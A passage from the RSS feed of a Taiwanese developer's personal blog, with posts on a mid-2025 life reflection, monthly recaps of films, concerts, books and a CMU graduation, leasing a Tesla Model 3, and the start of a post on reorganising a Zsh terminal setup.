]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2025-june-dump</guid><pubDate>Wed, 09 Jul 2025 23:29:25 -0700</pubDate></item><item><title>2025 年中隨筆</title><link>https://blog.tomy.me/zh-tw/posts/2025-midterm-reflection/</link><description>一些沉寂許久之後的想法，隨便寫寫</description><content:encoded><![CDATA[<p>發現我在生日、跨年、過年這種過了一年的重要時刻，總是會想寫些什麼對新的一年的期許，但卻經常狗嘴吐不出象牙，想不到什麼值得高談闊論的理想，但可能是最近生活區域平庸，反思之後開始有些想法，所以雖然不是什麼特別適合的時間點，但還是想趁著靈感來的時候多寫一些。</p>
<h2 id="大環境" class="relative group">大環境 </h2><p>雖然不同人可能會有不同的見解，但在我看來，科技業依舊在寒冬。最近看了<a href="https://news.ycombinator.com/item?id=44180533" target="_blank" rel="noreferrer">幾篇<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>在 <a href="https://news.ycombinator.com/item?id=44273790" target="_blank" rel="noreferrer">Hacker News<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 上轉貼的<a href="https://qz.com/tech-layoffs-tax-code-trump-section-174-microsoft-meta-1851783502" target="_blank" rel="noreferrer">社論<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，在討論科技業大裁員背後的推手。文章把矛頭指向 Trump 主導的一系列的稅法改革，確實是主流論述鮮少提及的觀點，但從結果回推，我不認為這會是唯一的原因。總的來說，科技業在疫情獲得的紅利太多，這份紅利所累積的隱形成本，到現在還沒還完，甚至難以斷言最新一波的微軟裁員會不會是最後一次。</p>
<p>有常態當然就有例外，我自己身邊就有很多人 (不論想或不想) 靠著這一波 AI 的熱潮，加入了那些想把現有的產品跟 AI 結合，或是想借助 AI 的能力，來推進以前難以解決問題的團隊。</p>
<p>結論就是，科技業可能沒那麼糟，但也沒那麼好。對於大部分人而言，特別是剛畢業的新鮮人，能在第一份工作就找到終身的歸宿，本來就是一件可遇不可求的事。</p>
<h2 id="真正想做的事" class="relative group">真正想做的事 </h2><p>有一個在歐洲的 NGO 叫做 <a href="https://80000hours.org/career-guide/summary/" target="_blank" rel="noreferrer">80,000 Hours<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，他的論述大概是這樣的：</p>
<blockquote>
<p>假設一個人會工作 40 年，每年 50 週，每週 5 天，每天 8 小時 <sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<p>當你的職涯有 80,000 個小時，你會如何改變世界？</p>
</blockquote>
<p>這可能是我見過所有 NGO，警世力數一數二強的 Hook。這個想法之所以獨特，就在於「改變世界」聽上去並不如其他 NGO 的使命宣言來的狹隘，把定義的空間留給每一個人，就不會產生距離感。並且透過點出了 80,000 小時這個直覺、好懂，卻容易被忽略的時間資源，來說服我是真的有機會透過長時間的努力，去達成一件即便非常困難的目標。</p>
<p>在這個前提之後的就是建議的後續行動，提供職涯建議幫助大家找到適合自己的職業，然後鼓勵在世界上最迫切的議題上做出貢獻。這部分我覺得就比較薄弱，因為坦白說，他們所整理出的「<a href="https://80000hours.org/problem-profiles/" target="_blank" rel="noreferrer">世界上最迫切的議題<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>」，大部分難以勾起我的興趣。</p>
<p>但我確實透過這個機會，形塑出了一些初步的想法，作為我職涯中第一個決定性的方向。</p>
<h2 id="寫在最後" class="relative group">寫在最後 </h2><p>前幾天看到一篇網路上的貼文，當 2025 年過一半，我們與 2050 年的距離會比距離 2000 年還接近。這也同時代表，身為一個 1999 年出生的人，對於出生的記憶，將會比邁入中年來說更加模糊。</p>
<p>2025 年剛過一半，但我這半年過的糟透了。在很多事件的當下，必然充滿很多複雜的情緒和感受，但當時間沖淡之後，回頭去思考過去的種種細節，我能想到最好的歸納，是「失望」。</p>
<p>我對 CMU 感到失望、對朋友們感到失望、對家人們感到失望、對工作感到失望、對灣區、對美國、對世界的現況感到失望。</p>
<p>但我並不覺得這是任何人的錯，真正的問題或許是，我對於自己沒有主動改變現況感到失望。</p>
<p>寫下對現況的認知，象徵我把潛意識的想法，具象成對現況的認知，讓自己有具體動機做出改變，並且再一次告訴自己：人生這趟旅程，終究是一個人。如果人生有答案，那只有自己知道。</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>65 歲退休，每年休假 2 週，不用加班？身為亞洲人的我笑而不語 🙂‍↔️&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2025-midterm-reflection</guid><pubDate>Sat, 05 Jul 2025 16:25:43 -0700</pubDate></item><item><title>2025 年 5 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2025-may-dump/</link><description>The moment that defines the ones who do.</description><content:encoded><![CDATA[<p>發現寫部落格有一個有趣現象：這個月沒什麼大事，會因為沒有題材，所以不好寫。但反過來，太多行程，太多東西可以寫，也會很頭疼。另一方面，太多事要做的時候，要抽出時間和心情來寫，其實也不是一件容易的事。</p>
<p>唉，算了，還是當我理由伯好了 🤡</p>
<p>先講目標！</p>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><h3 id="-每天-12-點準時上床看-30-分鐘的書然後睡覺" class="relative group">❌ 每天 12 點準時上床、看 30 分鐘的書，然後睡覺 </h3><p>大失敗。</p>
<p>月初飛長途飛機到西岸、每天行程都搞到超晚才旅館，外加搞第三個目標，直接把時差拉好拉滿。</p>
<h3 id="-每週拍-10-張照片" class="relative group">✅ 每週拍 10 張照片 </h3><p>多虧出去玩，這個目標好像有跟沒有一樣 XDDDDD</p>
<p>雖然以前發過了，但如果有人有在玩 Retro 的話 → <a href="https://retro.app/@tomy" target="_blank" rel="noreferrer">@tomy<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<h3 id="-遷移至少一個帳戶到自己的記帳系統上" class="relative group">✅ 遷移至少一個帳戶到自己的記帳系統上 </h3><p>當初以為這個大概一個禮拜就可以做完，結果真的遷的時候才發現困難重重，臨時改了好多 code，但做起來還是挺有成就感的，已經開始期待這個東西跑起來的樣子了 (拍胸)</p>
<p>希望做完之後會有動力寫一篇文介紹這鬼東西。</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><p>其實比起寫部落格，最近好像比較想寫程式，那改成想想這個月要寫什麼好了 (?)</p>
<ol>
<li>Blog 更新：之前電子報是由 Mailchimp 提供的，但是他們最近通知說要把免費版拿掉了，得把這功能重新搞起來。這個月收不到信的現在這邊說聲抱歉 QQQ 另一方面，部落格的照片有點多了，全部存在 GitHub 不是長遠之計，也順便遷移走吧！</li>
<li>把記帳系統的第一版介面完成：延續上個月的目標，資料有了，現在需要一個介面可以看。</li>
<li>開始追一部劇</li>
</ol>
<h2 id="-星際寶貝史迪奇" class="relative group">👾 星際寶貝：史迪奇 </h2>

  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/2025-may-dump/lilo-and-stitch-poster.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="莉蘿開心地抱著藍色外星生物史迪奇，圖片上有紅色的「Lilo &amp; Stitch」標題。"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>


<p>我喜歡毛毛的！</p>
<p>仔細回想小時候看過的動畫片，第一個直覺會想到的好像都是皮克斯的。再往下的話，不是皮克斯第一個會想到的，好像就是《星際寶貝》了吧。去年一看到真人版電影要上映的時候馬上就把片的上映日期記下來了，甚至還在進電影院前重新訂了 Disney+ 就為了再看一次動畫版</p>
<p>(而且 Disney+ 上面還有完整的台灣配音 + 中文字幕，懂的人就知道 XDDD)</p>
<details>
  <summary>微劇透心得</summary>
  這次的真人版，跟大部分影評說的差不多，難得沒有翻車。但劇本還是有小改一點，莉蘿的角色比起動畫來說相對不那麼憂鬱，整部片的氣氛變的相對沒那麼沈重；動畫版的強霸和獨眼霹靂比較好笑討喜一點，但在真人版裡面可能是為了減少剛圖艦長的戲份，所以不得不把強霸改成反派。
</details>
<p>總而言之，是一部看起來輕鬆、又有些懷舊的好片，大推！</p>
<h2 id="-帶爹娘玩美國--cmu-畢業典禮-" class="relative group">🇺🇸 帶爹娘玩美國 + CMU 畢業典禮 🎓 </h2><p>這個月中是 CMU 的畢業典禮！我就讀的 MSE 是去年 12 月就畢業了，但是學校一年只有一場畢業典禮，是舉行在下學期結束的時候，所以我們這些 12 月畢業的學生會等到 5 月再回來一起舉行畢業典禮。</p>
<p>所以當然也就趁著這個機會，帶我爸媽玩一下舊金山和紐約！</p>
<p>行程其實差不多就是我之前去過，覺得還算有體驗值的景點，就不特別寫了，有興趣的人可以私下跟我要。</p>
<p>礙於 CMU 的心得文難產，所以這邊就先放個照片就好</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-may-dump/cmu-commencement-with-mse.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="一群身穿畢業袍的 MSE 學生在古典建築前合照，慶祝 CMU 的畢業典禮。"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-may-dump/tomy-at-scs.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Tomy 穿著學士袍，站在 CMU School of Computer Science 的標誌下微笑合照。"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<p>十年之後，我不確定我還會不會記得—— Non-Functional Requirements ≠ Quality Attributes、Career Fair 裡每條急著上岸的沙丁魚，Data 進去 Kafka 就出不來的 Pipeline，還有那顆差點刻不出的 B-Tree。</p>
<p>但我想我會記得，拿到學生證在 Walk into the sky 拍照的豔陽高照、Schenley Park 的晨霧、Power Yoga 教室外的那場大雪、還有Mercurio&rsquo;s 的橄欖披薩。</p>
<p>謝謝成就這段旅程的每一個小夥伴——讓這段歲月值得回味。</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2025-may-dump</guid><pubDate>Mon, 02 Jun 2025 23:40:21 -0700</pubDate></item><item><title>2025 年 4 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2025-april-dump/</link><description>我覺得春天好像要來了</description><content:encoded><![CDATA[<p>這個月好像沒有太多戶外的行程，但是個充滿藝文的春天！</p>
<h2 id="-hitsujibungaku-us-west-coast-tour-2025" class="relative group">🐏 Hitsujibungaku US West Coast Tour 2025 </h2><p>羊文学！</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-april-dump/hitsujibungaku-on-stage.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="羊文学在舞台上表演，燈光呈現紫色與黃色"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-april-dump/moeka-on-stage.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="主唱兼吉他手塩塚モエカ在舞台上演出，身穿蕾絲洋裝"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<p>記得本來 2023 年的時候就有看到他們要來台灣巡演，而且是他們的第一場海外獨立演出，可惜那時候剛好卡到要來美國的行程，所以去不了。結果沒想到反而是來美國看到了哈哈哈哈。</p>
<p>這次的演出場地是舊金山市區 Union Square 附近的一個小劇場—— August Hall。有點舊舊破破的，音響甚至會破音，簡直跟政附的演藝廳有得比，舞台沒有布幕，燈光也只有四顆電腦燈。主唱塩塚上台時靦腆的用破破的英文向大家問好，一邊好奇美國人都是怎麼認識自己的，然後一開口唱歌卻又台風穩健，散發著自信的魅力，這種反差居然有種高中友校熱音社成發學妹的即視感，真的是青春到不行。</p>
<h2 id="-mickey-17" class="relative group">🍿 Mickey 17 </h2>

  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/2025-april-dump/mickey-17-poster.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="電影《Mickey 17》的宣傳海報，主角穿著軍裝站在多個複製人之間"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>


<p>是之前執導奧斯卡最佳影片《寄生上流》的韓國大導演奉俊昊的新作，趁著 AMC 電影院週二半價來看一下，雖然之前在匹茲堡就有看過電影，但還是覺得美國電影院的食物真的是&hellip;&hellip;有夠美國 XDDDD 超級大份、超級油膩、超級爽，不能太常吃，會短命。電影的話，好像就普普，沒有《寄生上流》好看，但有及格，如果很閒的話可以去看看，7.5/10。</p>
<h2 id="-記得你是誰" class="relative group">📖 《記得你是誰》 </h2>

  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/2025-april-dump/remember-who-you-are.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="《記得你是誰》這本書擺在書桌上"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>


<p>在 2023 年來美國前買的書，不知不覺拖到了這個月才看完。看序章的時候覺得應該是一本相當有展望性的書，應該是一本適合在人生展開新篇章時閱讀的書。可惜每一篇都是不同教授的人生故事，沒有一個貫串全書的中心思想，讀起來更像是散文，再加上大部分的教誨說起來好聽，卻缺乏可以具體力行的方式。</p>
<p>整體而言，10 分裡面 6 分。如果你的人生正在一個迷惘的狀態，可以翻翻某些有興趣的篇章，但不用太認真，輕鬆翻就好。</p>
<h2 id="-本月花花" class="relative group">🌼 本月花花 </h2><p>這個月比較少去超市，只買了兩束花：</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-april-dump/green-daisy.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="一束綠白相間的菊花插在花瓶中"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2025-april-dump/colorful-babys-breath.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="一束染成彩色的滿天星插在花瓶中"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">左邊是綠心白菊，右邊這個我從來沒看過，ChatGPT 說叫滿天星 XDDDDDD</figcaption>

<h2 id="-其他-highlight" class="relative group">✨ 其他 Highlight </h2><ul>
<li>這個月花了點時間重新整理了我的 Zsh 環境，然後寫了篇<a href="/zh-tw/posts/zsh-configure-mindset/">心得文</a>。有一點點技術的成分，著重比較多在概念上的部分，不是一般的教學文。整理 Terminal 環境真的是每次都可以學到一些奇怪的新知識，但也有很多還是看不懂的東西。如果最近有遇到問題也可以留言或私訊我交流 XDDDDDD</li>
<li>這個月開始長租了一台 Tesla Model 3，關於這台車的故事可以看看<a href="/zh-tw/posts/tesla-model-3/">這篇文</a></li>
</ul>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><h3 id="-準時上床--準時起床" class="relative group">🟡 準時上床 + 準時起床 </h3><p>達成率大約&hellip;&hellip;70% (?) 其實目標是要固定作息，然後希望可以藉此增加做事的效率，但似乎成效有限 QQQQ</p>
<h3 id="-統整一下這個月玩-zsh-各種工具的心得寫篇文" class="relative group">✅ 統整一下這個月玩 Zsh 各種工具的心得，寫篇文 </h3><p>如上</p>
<h3 id="-把現在床上的書看完" class="relative group">🟡 把現在床上的書看完 </h3><p>就是上面的《記得你是誰》，技術上來說我是在 5/1 凌晨 3 點看完的 (完蛋馬上透露第一個目標沒達成哈哈哈哈哈</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><p>最近覺得很想寫多花一點時間在寫 code，但實際上 side project 好像都沒什麼進度，來推一下</p>
<ol>
<li>每天 12 點準時上床、看 30 分鐘的書，然後睡覺</li>
<li>每週拍 10 張照片</li>
<li>遷移至少一個帳戶到自己的記帳系統上</li>
</ol>
<hr>
<p>下個月要回匹茲堡參加 CMU 的畢業典禮，再順便帶我爹娘玩美國，如果沒意外的話，會稍微整理一下 CMU 的心得文！</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2025-april-dump</guid><pubDate>Thu, 01 May 2025 22:55:47 -0700</pubDate></item><item><title>Tesla Model 3</title><link>https://blog.tomy.me/zh-tw/posts/tesla-model-3/</link><description>Yes, I'm gonna be a star</description><content:encoded><![CDATA[<p>這個月的某個星期五下午，我與同事陸續步入會議室開始準備每天的例會。在中國的同事半睡半醒陸續加入線上會議室的同時，我隨口向幾個共事的同事打聲招呼：</p>
<blockquote>
<p>「我今天可能要比平常早一點下班」</p>
<p>『去吃好料？』</p>
<p>「沒，去牽車」</p>
<p>『哦？買車啦，恭喜啊！』</p>
</blockquote>
<p>這台 Tesla Model 3 是我人生中的第一部車。</p>
<p>但事實上：我非常不喜歡汽車，甚至說得上有些許討厭。這不是一篇汽車的開箱文，這是一個關於討厭汽車的人最後還是買了一台車的故事。</p>
<h2 id="-前提" class="relative group">📌 前提 </h2><p>我不喜歡的汽車的原因，可以簡單歸納為以下幾點：</p>
<ul>
<li>人類不應該頻繁的駕駛汽車
<ul>
<li>或者說操作任何大型機具，比方説挖土機</li>
<li>我相信把車開好並不困難，但操作的次數多了，終究還是會犯錯</li>
<li>說自己不是三寶並不客觀，但只要不開車，就是減少了道路上的一個變數</li>
<li>操作經驗無法迭代：飛機掉下來全世界會一起檢討、設立新規範來避免類似的事件再發生，劇本相似的汽車事故卻是天天上演</li>
</ul>
</li>
<li>人類不應該擁有汽車
<ul>
<li>極低的空間效率 + 極高的持有成本
<ul>
<li>包含我在內的大部分人，真正的需求不過就是平日上下班通勤，假日偶爾出去玩。每天使用車子的時間平均可能也就 5%，剩下 95% 的時間，這些車子都躺在停車場裡佔空間</li>
<li>即便沒什麼使用，汽車作為一個負資產，從持有的那一刻開始，每分每秒都在燒錢</li>
<li>滿足這個簡單需求的方案，不應該這麼昂貴</li>
</ul>
</li>
<li>高風險
<ul>
<li>開車出車禍不只是把自己的人身、生命放入險境，就算人沒事，就算只是車子出事了，處理起來又會是一個傷神又傷財的事，撞到其他人就更不用說了。</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2 id="-決定" class="relative group">🧠 決定 </h2><p>如果我今天住在一個大眾運輸發達的城市，不管是台北、東京、倫敦、或是紐約，那每個月的交通費頂多也就是買一張月票，大不了再多幾趟 Uber 的錢。既不會把個人財務跟汽車長期掛鈎，也不用處理持有汽車的各種問題和風險，怎麼想都划算。</p>
<p>去年寫<a href="/zh-tw/posts/sf-bay-area/">舊金山灣區</a>的時候就有大致提過，這地方基本上就是一個大型的停車場，從任一個 A 點到 B 點的移動過程，基本上就是穿越 10 多個停車場。想要搭乘大眾運輸工具通勤，得從找房子的那一刻就精心安排，而就算你成功解決平日的交通，假日想去任何地方玩，或甚至只是去個超市買菜，也會面臨一樣的問題。</p>
<p>總而言之，即使我百般的不願意，在沒有車子代步的情況下居住在 San Jose 的生活水準遠低於我能接受的範圍，所以最後還是決定買一台車。</p>
<h2 id="-why-tesla" class="relative group">🚗 Why Tesla </h2><p>我選擇 Tesla 幾乎是毫無懸念，原因有很多：</p>
<ul>
<li>科技玩具：作為一個 Nerd，誰不想玩玩看有四個輪子的巨大自走 iPad</li>
<li>電車：雖然充電也不便宜，但依舊可以省點油錢，加州的環保油真的是貴到不行</li>
<li>廣大的充電路網：我也是看完 <a href="https://youtu.be/YU5bBEhGmb8" target="_blank" rel="noreferrer">Race To Vegas<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 才意識到，全美國的高速充電站，基本上就是 Tesla 跟 CCS，但 CCS 的充電站卻沒有 Tesla 的來的廣，這也會影響到車子實際開出去能到多遠的地方。雖然我短期內也不會 roadtrip 就是了。</li>
<li>價格、流程透明：看過無數朋友跟不同車商打交道，處理保險，貸款等等各式奇怪的問題，我在 Tesla 官網下單，然後再從 App 完成後續流程，保險、再到交車 (對，全自助)，完全不需要跟油嘴滑舌的業務來往，真的省心不少</li>
</ul>
<h2 id="-價格" class="relative group">🏷️ 價格 </h2><p>準確來說，其實我並沒有買下這台車，美國賣車有 3 種方式：</p>
<ul>
<li>Cash：全額付清</li>
<li>Finance：分期付款</li>
<li>Lease：長租</li>
</ul>
<p>我這次使用的就是長租的方案：</p>
<ul>
<li>租期 2 年</li>
<li>頭期款 (Down Payment)：$3294.41</li>
<li>月繳：$338.37</li>
<li>到期的時候會可以選擇把這台車還回去，或是支付一大筆錢，來把它買下來。</li>
</ul>
<p>再加上其他費用：</p>
<ul>
<li>保險：$330.12 / 月</li>
<li>停車 + 充電：$300 / 月</li>
<li>保養：$300 / 年</li>
</ul>
<p>所以我每個月的交通費將近 $1000，這還沒算上其他我還沒想到的花費，如果我住在紐約，這數字會是 $200 左右：））））））</p>
<h2 id="-結論" class="relative group">🔚 結論 </h2><p>本篇貼文沒有獲得 Tesla 贊助，但如果你也正在考慮牽一台 Tesla，不管是全額、分期、或是長租，歡迎來找我聊更多細節，使用我的<a href="https://ts.la/tomy474547" target="_blank" rel="noreferrer">推薦碼<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>可以獲得 3 個月的 FSD (價值 $300)，我也可以獲得 $250 的補貼。</p>
<p>我的目標很簡單：等 2 年租約到期，川普差不多把美國車價哄抬到飛天的時候，把這台車轉手賣出去，來補貼我這兩年期間的交通費，然後逃到一個不需要汽車也能享受生活的地方！</p>
<p>有興趣的歡迎提前預定 XDDD，以上！</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">tesla-model-3</guid><pubDate>Wed, 30 Apr 2025 02:33:21 -0700</pubDate></item><item><title>我的 Terminal + Zsh 心法</title><link>https://blog.tomy.me/zh-tw/posts/zsh-configure-mindset/</link><description>Edition 2025, 保證瞎趴，但不保證好用 (???????</description><content:encoded><![CDATA[<p>自從 2 月開始工作之後，新的專案開始更頻繁的使用 <code>kubectl</code> 來操作公司內部的 Kubernetes，可是我的 terminal 一直沒辦法使用 <code>kubectl</code> 的 Completion，即便照著官方的 document 設定還是沒辦法正常使用。拖延 2 個月之後，才終於發現是我長年使用的 Zsh 框架 Antigen 有一個<a href="https://github.com/zsh-users/antigen/issues/603" target="_blank" rel="noreferrer">長年未解的 bug<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，導致他們會打架，幾經考量之後，決定順便通盤整理一下我的 Terminal + Zsh。</p>
